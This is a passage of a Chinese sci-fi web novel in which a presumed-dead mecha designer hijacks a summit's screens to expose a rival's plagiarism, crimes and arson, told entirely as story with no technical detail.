女人身着绛紫色的独特服饰,步履轻盈，自带一种高贵气质。在接待处轻轻颔首,面上带着得体的微笑。 有人好奇道：“那是谁啊？” “是朱弛的夫人,应纱夜。” “好有气质啊……朱弛竟然能跟她结婚,太有福气了。” “朱弛可是溟火的总设计师！” “那应纱夜还是应家的女儿呢。”那人反驳道。 应家是雷瓦尔帝国建国时便存在的家族，往上倒三代,代代出元帅,都是战功累累。 现在第二星系战线前端,抵御虫族的主力，也是应家的大哥应晃。 帝国成立的时候,柏氏、爱荷华、应家三家控制了大部分权力。 而军队中，应家的权力最高。 不过他们家族风格传统,军队中都是男人，女性通常不露面，婚后就专注家庭。 应纱夜就是如此。 应纱夜长发用华簪盘起,小步踏踏地来到台前，轻顺裙摆，侧身落座第一排，手中织锦层叠的小包放在大腿上，姿态优雅。 观众陆续入座，台下灯光关闭。 主持人来到演讲台，开始介绍。 “尊敬的各位来宾,欢迎来到知觉机甲峰会。” “人类历史上，曾经出现过数次文明 的突破。” “科学家制造出第一台机械式机甲；人类经过太空流浪，在切斯特星重新发展文明；智能体拥有了自我意识，为人类所用……” 主持人的声音高昂起来。 “以及我们今天的主题，划时代的发明，人类科技进步的里程碑之——知觉机甲！” “本次峰会，我们邀请到溟火的总设计师，朱弛，来讲述他的设计思路。” “掌声欢迎我们的——朱弛教授！” 中年男子走上台，台下传来雷鸣般的掌声。 朱弛站在演讲台上：“谢谢。” 他调整一下麦克风的位置，开始缓缓道来。 “当年，我第一次递交溟火的设计稿时，对未来满怀期待，那是充满梦想的设计图。但得到的，是上司毫不留情的侮辱。” 他声音低沉下来，在场观众也随之揪心。 “而不久后，上司将我开除，甚至通知同行都不能再雇佣我，我彻底失去了工作。” “而她，拿着我的稿件，竟然完全照抄。” 朱弛握紧了拳头，仿佛受到了极致的屈辱，但下一刻，他话锋一转，笑着抬起双手。 “但谁能想到，今天站在这里的是我呢？” “我应该谢谢这位上司，如果不是她剽窃了我的原版稿件，如果不是她从莱机所赶走我，我不会遇到伯乐，也不会有今天的成就。” 台下观众好奇道：“这个上司说的是陶影吧？” “哦——她呀，劣迹斑斑，啧啧啧。” 这人正说得开心，座椅突然被人狠狠踹了一脚。 那人回头，加大了声量： “我还说错了不成？陶影这种人品都有粉丝了。” “真是人死了怎么帮她说话的人都有，活久见。” “就是就是。” 车研究员还想再踹一脚，看到安保走过来，只得作罢。 她整个身体砸进座椅里，一脸气闷。转头看见身边的黑发少女半眯着眼睛，趴在扶手上。 车研究员：“喂，柏墨，你不会是来听朱弛吹牛踩我们老大的吧。” 黑发少女的视线停留在演讲台上。 朱弛还在变着方法自夸，同时暗戳戳贬低陶影。 少女视线冷恻恻的，缓缓吐字道： “无聊。” …… 外行看热闹，内行看门道。朱弛说是讲他的设计思路，但其实完全就是在说自己设计过程中有多么努力，多么厉害，自己是多么牛。 红发少年对知觉机甲还算了解，他皱着眉头：“有关具体设计的部分，他完全一笔带过。” 车研究员抱臂：“他又没设计过，怎么可能讲得出，只能拿手里的数据糊弄过去。” 朱弛讲到一半，口干舌燥，拿起保温杯喝了口水。 差不多了，接下来才是最重要的部分，也是他们组织这场峰会的目的。 朱弛不太熟练地从云端下载了一个模型文件，连接到会议厅的中央光脑。 讲台的灯光瞬间熄灭，整个会议厅陷入黑暗。 “怎么了？”“什么情况？”“灯光出问题了？” 众人毫无防备的时候，一道聚光灯直直打到台上！ 火红色的机甲，面朝众人，半跪在地，头微微抬起，双眼凛然，宛若俯视众生的领导者。 哪怕没有启动，哪怕只是虚幻的投影。 其自带的攻击性也让众人呼吸停滞。 巨大的火红色机甲，正出现聚光灯的中心！ 沉默片刻后，众人发出惊呼。 “溟火，是溟火二代机！” 场内的气氛燃烧起来：“今天的重头戏来了！” 朱弛站在台上，很满意他所看到的。扫视过观众席，掌声渐停后，他开始分享溟火的技术问题。 “众所周知，一代机的精神力驾驶条件，是精神力达到A级，虽然我们帝国的军队都很优秀，但很遗憾，这个限制，让溟火这样优秀的机甲，无法完全普及到整个军中。” “所以二代，我们对溟火的精神力模块进行了提升，再次降低了驾驶的精神力需求。” “没错。” 朱弛提高了声音。 “现在，使用溟火二代机，只需要精神力达到B级！” 场下观众炸锅了。 “什么，意思是普通机师也可以驾驶知觉机甲了吗？！” “这可以大幅度降低对军中机师精神力的要求，又省下好一笔军费。” “厉害啊。”“不愧是总设计师！” 一片夸赞中，角落里的陶影靠在椅背上，百无聊赖地转笔。 笔尖打在她什么也没写的空白笔记上。 嗒，嗒。 差不多了吧？ 蓝色光线打在陶影脸颊侧边，忽明忽暗。 而终于，光脑进度条上，数据传输显示100%。 “啪——” 转笔的手停住。 陶影面带笑容抬头，像看着敌人踩入陷阱的捕食者。 嗯，时间到了。 该收网了。 朱弛正仰着双手感受源源不断的赞扬和歌颂。 没错，这些东西本该属于他的，陶影，看见了吗？ 他是溟火的总设计师，应家的女儿是他的妻子，还有谁能高高在上瞧不起他，谁还能让他因为被赶出莱机所落魄街头？ 朱弛太过专注，没注意到讲台上的光脑突然卡顿了一下。 他随意说了个笑话，引得场下听众大笑——正在这时，光脑重新连接，弹出一个奇怪的窗口。 朱弛以为是广告弹窗，随手关了。 但关闭之后，屏幕上立刻跳出无数个错误窗口。 他试图点击窗口的右上角“—口X”中的“X”键，但却不小心点到了“口”。 窗口瞬间铺满了整个墙面，整个会议厅的人都看得清清楚楚。 窗口中心缓缓浮现一行字。 【好久不见，朱弛。】 朱弛一惊，看了一眼台下的人，仔细观察每个人的表情。 半晌他擦了擦汗。还好，大家似乎都能看见这行字，不是只有他一个人看得见。 不是幻觉。 他捏紧怀中的药瓶。 就说，刚刚才吃了药，他不会产生幻觉的。 朱弛恢复镇定，开玩笑道：“是哪位老朋友在恶作剧？” 屏幕上的字迹被擦除，替换上一行新的。 【我是陶影啊。】 朱弛的笑容僵住了。 【不过老实说，我俩不算朋友，我是你上级。】 朱弛颤抖着双手，握住胸前的麦克风，强装镇定道： “在峰会上开这种玩笑可不太合适。” 【怎么，害怕了？那一开始就不该做亏心事。】 “你适可而止！” 朱弛的声音骤然增大，激动起来，台下一片哗然。 屏幕上的字迹还在不停出现。 朱弛满手是汗，脸已经憋得通红，手不停按着开关机键——他想强行停止机器，但就算他按下了物理按钮，机器也像被什么神秘力量控制了一样，毫无动静。 是谁？究竟是谁？ 是谁要害他！ 【我的字典里没有适可而止四个字。】 【但很擅长诱敌深入、步步紧逼、瓮中捉鳖——】 【直到猎物无力反抗。】 屏幕上的文字冰冷地闪烁着，像在宣判什么。 讲台上的光脑彻底卡死，失去了操作权限。 台下坐满了顶级机甲商，各种有头有面人物。 此刻，刚刚那个游刃有余，十分自信的“总设计师”，突然像是看到了什么极为恐怖的东西。瘫坐在了地上。 一条聊天记录出现在屏幕，看得台下众人目瞪口呆，纷纷发出惊叹。 “真的假的？骗人的吧。” “他怎么可能做这种事？” 屏幕上赫然展示出的，是数份器官购买记录。发件人“ZHUCHI”，发件地点在莱门市H街区，收件单位在254号生物实验室。 内容有心脏、肾脏、肝脏、眼球、皮肤……各种器官。 台下有人反应过来了。 这不是前段时间引发“智能仿生人人权法案”热议的器官买卖案吗！ 车研究员反应慢半拍道：“发件人ZHUCHI……朱弛？！”—— 作者有话说：相关剧情，指路23章漫长的一夜（ 第47章 超大字号的聊天记录不停在屏幕上滚动播出,台下议论纷纷。 “这记录真的假的？” “也不一定是朱弛本人吧？” 似乎早料到众人会有这个争议 ，背后人士很快给出了更多证据。 是个高清视频，以快递员的角度拍摄。 视频里,朱弛亲手拆开了包裹，甚至隔着防腐液,仔细检查了器官质量。 显然不是头一次干这种事情。 众人目瞪口呆。 “这个视频寄到莱门治安署，完全可以直接把朱弛送进星际监狱去了。” “我觉得不对劲,为什么特意挑在峰会这个时间点放出来？感觉是有人想搞我们的溟火总设计。” “说不定是被做局了,不太确定,再看看。” 大家基本上处于一个观望的状态。 背后人士紧接着送来了下一茬视频。 视频主人公还是朱弛。 他戴着口罩，帽子,可疑地来到一条满地垃圾的大街,鬼鬼祟祟观察一阵周围的环境后,钻入小巷。 眼尖的人认出，这是切斯特星C区某治安极差的街区,充斥着各种违法犯罪行为，可朱弛来这里做什么？ 朱弛走到一道小门前,抬起指节，“扣、扣”，有规律地敲门。 门上的小窗口打开,里面的人递给朱弛一瓶药。 似乎担心台下众人看不清楚是什么药，陶影将药物内容截图放大，并在右上角贴心地附上了药物对比图。 众人张大嘴。 “这，这不是莱门市明令禁止的非法药物吗……？” “听说服用后在精神上有强烈的副作用，甚至会产生幻觉。” “不会吧，朱设计师看上去挺正常的啊？” 接连的冲击，让他们看朱弛总带了一层负面滤镜。 朱弛当然察觉到了他们异样的视线。 他露出被冒犯的表情,佯怒道：“这位朋友，玩笑开得有点过了，在这里收手吧。” 虽然表面反应得很正常，但朱弛心里并没有那么平静，他指甲不停地抓挠着小臂。 对方步步紧逼，而他甚至不知道对方究竟是什么目的。 是因为溟火吗？是爱荷华科技的竞争对手在搞鬼？ 朱弛汗如雨下，各种猜测，眼看就要心跳过速，这时突然看到第一排坐着的应纱夜。 应纱夜头上华簪斜插着，并无什么反应。 优雅，高贵，气定神闲。 就静静坐在那儿，表情一直没变，就像一个安定剂。 朱弛心跳逐渐平缓下来。 对，他还有应纱夜。 只要有应家做后台，都可以解决。 他还是溟火的总设计师，爱荷华家族也会为他说话。 只要有权力，黑的也可以说成白的。 刚才那几个视频，说是有人故意陷害他就好。 甚至可以趁这个机会，反过来利用舆论，给溟火二代机带热度。 想到这里，朱弛镇定下来。 “不好意思大家，中场休息，我们需要重新调试一下设备。” 说完，朱弛快步离开。 他要立刻，马上，抓住那个一直在背后挑事的人。 下台之后，他找到相关技术人士，反查入侵的光脑地址，但二十分钟过去，一无所获。他们又迅速远程咨询了专业人士，对方只给了一句话。 “侵入者太有经验了，你们根本不是对手，放弃吧。” 爱荷华科技的负责人无奈道：“为了避免更大的损失，只能结束会议了。” 朱弛没有办法，只得愤愤地回到台上，准备简短说两句，结束今天的峰会，但走到舞台边时，他撞到两个人。 看清是谁后，朱弛猛地后退一步。 “你们怎么会在这儿？” 车研究员穿着背心，腰间系着蓝色工装，抱臂站在那里。 “哟，前同事。有好事怎么不叫我一块儿？真见外啊。” 大龙站在车研究员身边，一言不发，也冷冷地看着他。 朱弛震惊过后，突然反应过来什么，指着屏幕：“是你们搞的鬼，对吧！” 他就知道，肯定是莱机所的前成员干的！ 谁料车研究员搓搓鼻子，一脸疑惑地看着屏幕。 “我不知道哎，今天正巧被叫来而已。我也有点好奇这人是谁。” “你说谎！” 车研究员嗤笑一声：“我有必要骗你？” 朱弛骤然反应过来。 没错，车研究员对代码一窍不通，更别说侵入会议厅的中央光脑了。 在莱机所有这种技术，有这种能力，还能不被发现的……只有陶影。 可她已经死了十年了！ 刚刚平静下来的情绪，又开始泛起波澜，朱弛在车研究员的紧逼中，大步退后。 他踉跄了一下。 大腿口袋里，似乎是掉出了什么东西。 车研究员“嚯”一声，捡起那个瓶子。 “不会是刚刚的违禁药物吧？” 车研究员打开盖子，正想倒两颗出来看看，被朱弛一把抓住。 车研究员怎么可能把药瓶还给他。两人争抢之下，瓶子直接飞到了台下，里面的胶囊撒得到处都是。 有好奇的人捡起一颗胶囊，端详片刻。 “啊，这药看上去好可疑。” “哪儿呢我看看。”“我也看看。”“给我一颗。” 有识货的人拿起来，拆开闻了一下，惊奇地点头：“这不极乐42号吗，我知道，比刚刚视频里那个药效果还要强，堪称一颗升天——你们这么看我干嘛？哎等一下，放下你报警的手，我又不嗑药，我知道这个是因为我老婆是星警，她天天在我面前念叨！” 那人赶忙补充：“对了，这药吃着有个副作用，身上会发痒，所以吃过的人身上大多有红痕。” 车研究员一把捞起朱弛的袖子，果然，上面全是可怖的红痕，还有几个可疑的针眼。 这下眼见为实了，大家不信也得信。 因为刚刚的意外，场下部分来宾要求离场，场面一时有些嘈杂。 演讲台后的光幕，突然整个闪烁了两下，似乎有人在调试什么。 有人忍不住喊道：“还有料啊？能不能一次放完？” 屏幕顿了一下，清空了。 【好吧，那我省略掉一些不重要的违法犯罪。】 【上重点。】 “……”那还真是谢谢你了。 “总感觉背后的人玩得很高兴，”红发少年感叹，“话说这人究竟搜集了朱弛多少罪证，还带省略的。哎小墨你去哪儿？” 柏墨面无表情地朝他抬了抬下巴。 “有事。你别跟来，麻烦。” 一阵混乱之后，政要退场，但台下还是有很多看热闹人士不想走，他们满怀期待，等待最后的瓜。 “不都说重点在最后吗，我倒要看看压轴的是什么。” 而片刻后，在大家逐渐上升的期待中，背后人士端上来的压轴戏是—— 一道联考题。 红发少年指着道：“哦，星际联考知觉机甲科的最后一题，答案出错的那道！当时我还在论坛回复了来着。” 众人十分失落。 “虽然联考题出错确实挺离谱的，但和之前两件事相比，严重程度完全不在一个水平线。” 趁乱混进来的记者无奈摇头，收拾东西就要走：“我还以为有什么头条新闻呢，这事热度都过了。” 朱弛却一言不发，他感到恐惧。好像有什么事情脱离了他的掌控。 这个人不是冲着溟火来的，不是冲着其它任何东西来的。 他抬头，看向屏幕。 是冲着他来的。 可为什么，谁会这么大 费周章？ 朱弛此刻终于真正的慌了神，已经忘记了他有没有维持住表情，心中只有恐惧。 只有那件事情，绝对不能让人知道，如果被发现，他会永远都没办法翻身的。 他的名誉，他的成绩，他现在的所有，都来自于溟火。 不能让人知道这些都是他剽窃来的！ 但已经太迟了。 冰蓝色的字体跳动着，清晰地撞击着在场每个人的视线。 陶影给出那道题目的答案，也就是恒我的初版数据。 【你抄数据的时候，小数点数错了一位，这么久，你都没有发现吗，朱弛？】 朱弛颤声道：“你究竟是谁！你想要什么？！少装神弄鬼！陶影已经死了十年了！” 朱弛说出这句话的瞬间，觉得自己也许是又产生幻觉了。 屏幕上的解题字迹，突然让他觉得十分熟悉。明显是出自某个人之手。 陶影的笔记，朱弛为了让自己的剽窃毫无破绽，曾经无数次的研究过。 他怎么会没有发现呢？ 这个，这个字迹是…… 朱弛瞳孔骤缩，手指掐得死白。 不，不可能！ “你，你——！” 朱弛精神似乎是精神受到极大的刺激，一下子疯癫起来。他冲到屏幕前，不停砸着墙壁。 咚、咚。 一下接一下。 直到两手是血，他嘴里依旧不停地念着什么。 “我做得那么天衣无缝，不会被发现的。” “我才是第一代知觉机甲的总设计师。不是陶影，不是她！” “她不配，她凭什么！” 神智显然已经不太正常。 爱荷华科技的人想把朱弛拉下台，但他的模样实在有些可怕，几次都没能成功。 台下的应纱夜一直保持着得体的笑容，这下终于有点维持不住了，她面色微动，招来保镖，旁边的人恭敬地低身附耳。 应纱夜说了两句什么，那保镖点头，上台想把朱弛带走。 而柏墨不顾阻拦，强行把朱弛留在台上。 爱荷华家族的负责人显然也不希望朱弛再受关注，他看向柏墨，语带警告：“你想做什么？” 三方一时剑拔弩张。 得，爱荷华科技、柏氏工业、应家，这下帝国三巨头齐全了。 这场面倒不是她的的本意。 陶影暗地里摸摸下巴。 话说回来，估计雷瓦尔帝国建国的时候，三家人也是在会议厅这么打来打去。 这么少见的场面，拍张照纪念一下。 应纱夜起身，语气藏锋道：“柏墨，应家好像没有得罪过你。” 柏墨点头：“当然没有，这件事不是针对应家，只是针对朱弛。” 应纱夜咬牙：“以防你忘记了，朱弛是我的丈夫，现在也是应家的一员。” 柏墨冷淡道：“又不是不能离。” 应纱夜：“……” 说得那么容易！ 爱荷华科技的负责人好像也说了什么，但柏墨脸色淡淡的，直接无视了他的话。 柏墨对爱荷华科技和应家的双重压力毫无所觉，只管干自己的事情。 她连接中央光脑，输入一串数据。 很快，众人眼中出现一台纯黑色的机甲。 黑天鹅般优雅的机体，单膝跪地。 高耸的脊背，流线型的身体，无可挑剔的设计。 幽深的黑色，更为它增添了几分神秘感。 “它的名字叫恒我。” 车研究员面带怀念，转头向观众席。 “那么，我正式介绍一下真正的，人类历史上第一台知觉机甲。” “它的设计者，是切斯特星莱门市，莱门机甲研究所所长，也就是我们的老大，陶影。”—— 作者有话说：陶影：事已至此，拍个照吧。 第48章 “在大家眼里,陶影身上贴满了剽窃、泄密、道德败坏的标签，但事实恰恰相反，做这些事的,是朱弛！” 车研究员猛一抬手，指向朱弛,眼神中夹杂着愤怒与不屑。 “朱弛曾经在莱机所工作……” 当时陶影刚接手莱机所不久，所里非常缺人。 陶影为了招揽人才,一直在全星际出差,参加各个星系的科技峰会。那时,莱门大学给陶影推荐过几位毕业生。 朱弛就是其中一员。 陶影考察后，发现朱弛技术水平不够,就安排他去做一些简单的工作,但朱弛显然不满足于这个安排。 他特别关心莱机所的机密项目。 陶影很快发觉朱弛来莱机所别有目的,干脆设了个局，刻意透露恒我废案的位置。 朱弛当天就悄悄潜入房间,被抓了个现形。 结果自然是被陶影开除了。 “朱弛根本就心思不正！”车研究员道。 “等等，”应纱夜打断了她的话,“你刚才说，是陶影刻意放置废案引朱弛上钩。就当那废案的数据是真的，而且也真的被他记录下来了,那么你的意思是，朱弛仅凭废案，就制造出另一台知觉机甲吗？” “那……肯定不是，”车研究员语气明显有些急迫，“但溟火的公开数据和恒我一模一样，朱弛肯定是之后又偷偷进入莱机所，想办法偷走了数据！” 应纱夜眼皮一抬,眼角扬起一丝笑意，显然已经发现车晓理手里没有底牌，她端庄地理了理裙摆。 “抱歉，车女士，这说服不了我。” 爱荷华科技负责人也持同样的态度。 “数据一样怎么能证明朱弛剽窃？也可能是正相反。你是莱机所的人，当然帮着陶影说话。” 两人一唱一和，把车晓理架那儿了。 车研究员反驳：“一口一个证据，那这么多年，你们散布消息说陶影剽窃有证据吗？不就是欺负我们老大已经死了不能说话？” “很遗憾，我并不了解那场大火。”说完，应纱夜一副看热闹的样子，转头望向爱荷华科技的负责人。 这件事应家的确没参与，爱荷华科技对此应该更有发言权。 当年，尤里斯爱荷华和陶影的订婚轰动一时。 一个是帝一军校的榜首，帝国少校，开国贵族的后代。一个是天才机甲程序员，莱机所所长，偏远星系逆袭的平民。 除了都是顶尖人才，他们的人生轨迹给人感觉很难产生关联，更别说是走到订婚这一步了。 听说尤里斯和陶影是慈善晚会上认识的，还是一见钟情。 但应纱夜不信。 据她了解，尤里斯不是会做慈善的人，更不像会一见钟情坠入爱河的人。 应纱夜觉得这场订婚并不单纯，应纱夜甚至也怀疑，那场大火说不定是爱荷华家族的杰作。 但怀疑归怀疑，这件事情和现在的应家没有关系。 已经死去的人没有探讨的价值，因为活着的人之间才有利益。 不管真相究竟是什么，她不能让应家的利益受损。 “所以，你有证据吗？”应纱夜抓住了车晓理的弱点，再次攻击。 车研究员沉默了。 应纱夜说得对，她们必须有证据才行。 现有的情况，很难证明朱弛剽窃。 车研究员戳了戳旁边的大龙：你有证据吗？ 大龙摇头：我以为你有才跟着上台的。 车研究员：我没有，我跟着柏墨上来的。 他们两个来到莱门市后，就一直在柏氏工业做恒我相关的工作。今天接到柏墨的电话，说有个机甲峰会一起参加。 原本只是来看看，没打算搞事，但刚刚看到恒我，想起莱机所的点点滴滴。 车晓理脑子一热，就上台叽里呱啦说了一大通。 完全没有任何计划。 局似乎是僵死在了这里。 陶影手里的笔划出重重一道折线。 虽然很感谢刚才车研究员那段仗义执言，但实在不行你俩回家看儿童节目吧，别添乱了。 陶影揉揉眉心，看向台上的柏墨。 爱荷华的负责人不断诘问着证据，莱机所两位成员毫无反抗之力。 而柏墨似乎终于觉得有点不耐烦了。 “啪——” 柏墨上前一步。 “我有证据。” 包括车研究员在内的所有人都以为自己听错了。 爱荷华科技负责人：“你说什么？” 柏墨看着他，像看着一个白痴。 她再强调了一遍 ：“我说，我有证据。” “陶影死前，曾经将恒我数据元本传输给柏氏工业，内容包括迄今以来恒我的所有设计过程。我们经过对比，确定恒我的设计时间远在溟火之前。尤其是精神力模块，似乎在恒我的项目开始前，就已经有雏形了。” “什么？恒我的数据元本？！不是说数据在那场火灾中全被烧毁了吗？” “不。”柏墨沉默了一下，似乎想到什么，“陶影在死前，花费大量的时间保护了数据……总之，数据没有被销毁，只是因为淹没在太多的数据流中，我们直到前不久才发现。” “相关内容，已经发布到柏氏工业的星网帐号，想要证据？你们可以慢慢找。” 柏墨贴出帐号。 “数据里，不仅有能证明剽窃的部分，还有另外一段非常重要的视频，我想现在是一个很适合播放它的场合。” “——陶影的死，不是意外，而是朱弛所为。是他在莱机所放的火。” “什么？！” 接二连三的炸弹甩出来。 在众人不可置信的惊呼声，和记者接连不断的快门声中，柏墨毫无预兆地从兜里掏出数据盘。 她点按数据盘上的按钮，视频投放到众人眼前。 镜头非常摇晃，是第一视角。 近距离响起女人急促的呼吸声。 好像是由别在胸口的记录仪拍的，画质不太清晰。 女人砸开走廊的应急物资柜，掏出面罩，套在脸上。 她似乎在追什么人，连续跑了几层楼，跑得气喘吁吁，她两手扶在膝盖上。 镜头向下，落在她胸前垂着的ID卡上。 众人依稀辨别出上面名字那一栏写着的是，“陶影”。 柏墨顿了顿，道：“这是陶影死前留下的火场最后的记录。” 画面中，朱弛慌乱逃走的过程全部被录了下来。 而女人被大火逼退，艰难地来到恒我的面前。 恒我的底部金属被烧得变色，数据接口处用金属锁住，但因为高温已经变形，显然不是人手能碰触的状态。 但女人碰了。 不仅碰了，她紧紧抓住滚烫的金属，用手强行掰开外壳，取出数据盘。 皮肤被烙熟的感觉隔着屏幕传来，台下众人纷纷发出“嘶——”的忍痛声。 但女人好像对这些毫无所觉，也不能这么说，她只是没有时间去在乎这种事。 四面八方都是爆炸声，而她想要保住数据。 女人脱下卡其色风衣，裹住珍贵的数据盘，飞快地冲进一个房间。 里面堆满了杂物，女人试图关上隔离门，但毫无反应。 她只能迅速清理了门前的杂物，暂时减缓火势，然后来到桌前，一把扫掉桌上的东西，拉出线缆，飞快操作着备用光脑。 很快，屏幕上显示私密网络已连接，女人插上数据盘，开始传输恒我的数据。 10%、20%…… 女人的动作终于慢了下来，她吐出一口气，伸手转动镜头，对准了自己。 她抿唇，眼神认真。 “接下来的话，留给柏氏工业。” “为了防止有人截流，数据会通过特殊方式传输出去，我已经尽力减少错误，如果传输中有损耗，优先恢复Alpha-pack，里面是精神力核心数据。” “零件数据车晓理都有记录，不用担心。” “精神力模块的特殊共鸣模式，会对机师的精神力造成巨大压力，不是紧急情况，不要使用。” 女人接连不断，条理清晰地，说明了有关恒我的所有注意事项。 直到终于说完，而传输进度条显示到100%，她才面色可见，放松下来。 女人回头看了一眼大火，再次面对镜头，竟然笑了。 “啊，这种时候是不是不该笑？算了。” 她耸耸肩：“看情况我确实没救了，事已至此，说几句遗言吧。” “虽然是些没什么营养的话，但如果柏氏的研究员看见，请帮我转达。” “抱歉，莱机所的同伴。恒我原本应该有一个盛大的诞生仪式，我没能保护它。” “抱歉，伊琳娜，订婚这事儿没告诉你，你应该很奇怪我为什么要瞒着你，但说来话长，作为朋友，我真诚地建议你不要深究。毕竟如果告诉你对你有好处，我早说了。” “还有，咳。”女人被烟雾弄得咳嗽了几声，停顿一会儿后，又继续说。 “如果人类死后真的存在灵魂，或者什么四维生物之类乱七八糟的形态，总之只要活着，那么我一定会拼尽全力，再回到这个地方。” “我还有很多事情没有见证。” “还有很多事情没有做。” 女人露出她平日里极少有的温柔神色，透过镜头看向她的朋友们。眼里似乎有不舍，但又带着几分游戏人间的玩笑。 随后她敲敲镜头，轻柔地低语。 “我想活着。” 轰！ 爆炸声响起，火焰吞没了女人的身影。 人们最后看见的，是她的笑容。 神明般掌控一切的，毫无恐惧的—— 欣然直面死亡的笑容。 第49章 大家看完视频,久久没有说话。 整个会议厅弥漫着一种震撼和尊敬。 半晌，不知道是谁说：“这种情况下，她竟然还能有条有理交代这么多事情,好可怕的意志力。” “不是对知觉机甲技术非常了解的人，绝对做不到。” “她愿意为了自己的研究付出生命,这种人怎么可能剽窃。” 很快，视频在星网上传开了。 爱荷华科技迅速对舆论作出反应,声明这是朱弛的个人行为,和他切割,实际上就是把朱弛推出来背锅。 应家对这件事情没有表态。 戴战术目镜的星警，很快赶到会议厅,将刚刚恢复神智的朱弛控制起来。 星警冷漠道：“请配合调查。” 朱弛被拷住双手,挣扎着大喊：“不,不，我是溟火的总设计师,你们不能这样对我！” 他惊慌地转头，想要找到什么可以依靠的东西,恍然看见妻子在看着他。 对，还有应家！应家可以帮他！ 朱弛去扒拉应纱夜的大腿。 应纱夜坐在椅子上，裙摆被拉扯得有些狼狈。 她叹口气,站起身，柔和而得体地跟星警说：“能不能给我一点时间？” 星警犹豫着退后几步：“这……请尽快。” “谢谢。” 大家小声讨论。 “应家不会是要救人吧？”“这么多人看着呢，怎么救？” 应纱夜把朱弛扶起来，拍拍他身上的灰尘，帮他整理了一下衣服。 朱弛回神。 “你相信我是不是？纱夜！我没有做那些事！” 应纱夜动作优雅，眼神似乎充满爱意，直直地看了朱弛一阵。 然后高抬起手,给了朱弛一巴掌。 朱弛被打懵了。 在场众人也懵了。 应纱夜眼神瞬间变得冰冷，她从手中的袋子里掏出一堆照片，抛到空中。 是朱弛出轨的照片。 应纱夜用一看就很贵的丝质手帕，捂住微红的眼角。 “今天收到这些照片，我本来还不敢相信，没想到竟然是真的。朱弛，你怎么可以这样对我？” 朱弛只是往地上看了一眼，就惊慌失措。 有人捡起一张，惊讶地道：“哇，劲爆。” 朱弛扒拉着地上的照片，姿态极其狼狈，但即便如此，他还是不停狡辩着。 “不，不是的！不是你想的那样！” 这样一个杀人犯，剽窃犯，神智不清的疯子，显然已经没有人听他的胡言乱语。 应纱夜转过身，再也没有给他一个多余的眼神。 星警将朱弛带走了。 而刚刚还一副受伤表情的应纱夜，已经完全恢复平静。 她走到爱荷华科技的负责人面前，伸出手，微笑道：“希望这件事不会影响我们和爱荷华科技的合作关系。” 溟火的设计师究竟是谁不重要。 只要爱荷华科技，依旧给应家 提供知觉机甲，那什么都没有改变。 爱荷华负责人被她这份冷静震到，手抖了一下：“是，是的，夫人。” 应纱夜眼神锋利得像刀：“不是夫人，应家和朱弛，不再有任何关系。” 就此，朱弛被两家人同时放弃。 …… 事情告一段落，柏墨冷淡地收回数据盘，下台。 陶影正靠在门边等她。 陶影：“今天谢谢你了。” 今天的事情，光靠她一个人，以一个“侵入者”的身份，很难给出让人信服的证据。 柏氏工业的站队是必要的。 柏墨点头，算是接受了她的道谢。 “最后那一幕也是你的计划？” 柏墨的意思应该是问，那些出轨照片是不是陶影寄给应纱夜的。 陶影轻快道：“那倒不是。” 虽说她也见过那些照片。 前两天在朱弛的办公桌阴差阳错拿到的，照片背后还写着“你也不想这件事被你夫人发现吧？”，威胁朱弛给钱。 陶影略微查了一下，这些照片就是应纱夜雇人拍的。 应纱夜早就知道朱弛所作所为。 刚才那场闹剧，应该在她进场前就已经有所计划了吧。 “应纱夜跟朱弛结婚后，应家大批量从爱荷华科技购入知觉机甲。因为利益关系，他们只能维持婚姻。” “看应纱夜的样子，应该想跟朱弛离婚很久了，说不定就等着今天这个机会，”陶影摸摸下巴，“我是不是顺便帮了她一把？她欠我一个人情。” 柏墨头顶浮现出一个省略号，似乎对陶影的脸皮之厚感到有些无语。 本来还有想问的事，都被陶影带歪了，现在想起来，柏墨问：“你做这些，只是因为陶影资助过你？” 柏墨言下之意，觉得她冒的风险太大了。 ——只是因为资助的恩情，就足以做到这种程度吗？万一被那两家盯上，之后的日子可不好过。 是的，陶影很清楚，柏墨不是怀疑她的身份，只是单纯好奇她的目的。 毕竟她已经死了十年了，谁会相信一个已经死去十年的人，还会变成女鬼回来复仇？ 所以陶影无辜地眨眼，举起胸前的志愿者证。 “嗯？我做了什么吗？我只是一名恰巧路过的峰会志愿者而已，我什么都不知道。” 在柏墨一派“你在演什么”的质问表情下，陶影脸不红心不跳地转移了话题。 “你又为什么答应帮我呢，这可不是小事。为了还恒我的人情，还是——”陶影指指柏墨腰间的钥匙扣。 恒我的小挂件，很旧了，柏墨小时候去莱机所参观，陶影送给她的。 看得出来主人很爱惜它。 “还是你也很喜欢莱机所的大姐姐？”陶影一脸逗小孩的表情。 柏墨：“……” “是为了恒我。”柏墨强调。 “哦是吗？那你刚刚为什么停顿了一下？” 柏墨虽然常常面无表情，但陶影能看得出，柏墨的脸刚刚不着痕迹地僵了三秒钟。 片刻后，柏墨一片平静地说：“我要回去训练了。” 柏氏工业的继承人，嘴上是挺平静，但实际拳头早已捏紧，手臂的肌肉线条微微膨起。 和柔弱的陶影形成了鲜明的对比。 感觉一拳能把她打飞。 陶影很识时务地轻咳了两声。 好吧先不逗小孩了。 听柏墨身边那位红发少男说，柏墨最近每天高强度训练十几个小时，今天还是特地抽空来的。她应该是要参加机甲职业联赛。职业联赛的专业性很高，难度远超过陶影她们即将参加的高校联赛。 陶影：“你要参加机甲职业联赛吧。” 柏墨有点反应：“你知道？” 陶影：“当然，你找到队友了吗？看样子是没有。要不考虑考虑我们队？” “你们？”柏墨双眸微瞠，很是惊讶。 虽然她很认同“解锁者”的精神力。而且陶影之前对恒我的驾驶，也让柏墨一定程度上，认同她队知觉机甲的操纵能力。 但职业联赛可不是那么容易的东西。 柏墨是曾经拿过联赛冠军，破格拿到了职业联赛的参赛资格，而解锁者？ “据我所知，你和你的团队都毫无比赛经验，你们参加不了职业联赛，除非……” “除非我们在高校机甲联赛拿到前三，是吗？”陶影微笑，笃定而自信地说，“会拿到的。” 柏墨直直盯了她一会儿：“那就拭目以待了。” …… 事情结束后，陶影作为峰会志愿者，被逮去引导群众离开会议厅，忙完她累得不行。原地休息了一会儿，正好林别歌打来电话，听到陶影的语气弱弱的，以为她又出了什么事，吓得当即冲了过来。 顺便给陶影带了一份饭。 南卦也跟来了，她们就这样……在莱门大学充满阳光的草地上开始野餐。 “南瓜，你在画什么。我又是狗啊？算了，我早该料到的。影子，你能不能不要这么煞风景，这种时候怎么还在看光脑？” 陶影咬下一口脆脆的蔬菜：“哦，我要确认一点事情。” 